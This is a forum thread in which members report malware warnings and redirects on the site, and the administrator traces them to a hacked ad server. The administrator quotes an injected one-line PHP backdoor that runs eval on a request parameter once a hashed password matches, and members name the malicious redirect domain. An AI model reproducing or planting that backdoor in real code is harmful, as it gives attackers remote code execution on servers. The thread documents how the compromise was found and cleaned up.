CUK triggers malware warning

[Scruff]

Mine is fine using Tapatalk and Chrome on Android.

Using a PiHole as my DNS server...

[GreenMirror]

Last proper fax I had was 1990s.

With Mr MS or someone else?

[Eirikur]

just got a message something is trying to redirect me when going into a thread in general. Mcafee is blocking it

[NickFitz]

The Thing is still lurking, but admin and I have been investigating and we've almost got it cornered

[greenlake]

The Thing is still lurking, but admin and I have been investigating and we've almost got it cornered

When you find it, be sure to kill it with fire....!

[administrator]

Had a look on NYE and couldn't replicate so had a couple of looks at this with Nick today. Definitely ad server been hacked and just trying to trace the source now, it's an elusive little beggar. Might just nuke it from orbit, it's the only way to be sure...

[administrator]

I had edited one of the templates that had a strange new line of code added to it:

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='6d46ba53fe38d9cb6d84b3fd07e9fe85'){@eval($_REQUEST['zoneId']);}

But the ads hadn't gone, nipped out to pick one of the kids up from a mate's house and, while the iframes are still there, the ad calls have gone. Will update the banner server this evening and make sure all the code is replaced just in case there is a back door in there somewhere. Fingers crossed that should sort it.

[NickFitz]

I had edited one of the templates that had a strange new line of code added to it:

if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='6d46ba53fe38d9cb6d84b3fd07e9fe85'){@eval($_REQUEST['zoneId']);}

But the ads hadn't gone, nipped out to pick one of the kids up from a mate's house and, while the iframes are still there, the ad calls have gone. Will update the banner server this evening and make sure all the code is replaced just in case there is a back door in there somewhere. Fingers crossed that should sort it.

If you want to see what's been lurking on every page in an iframe hidden offscreen, paste this into your browser's location bar (N.B. assuming your browser supports JavaScript in the location bar):

javascript:void(document.getElementById('ifr_ads_banners').style.left=0,document.getElementById('ifr_ads_banners').style.top=0)

[BR14]

It wisnae me! - honest. - a big boy did it, and ran away

[Eirikur]

Mcafee says: redirect blocked httpsgetmyfastclicks.mobi (note the bit before .mobi all one word including https)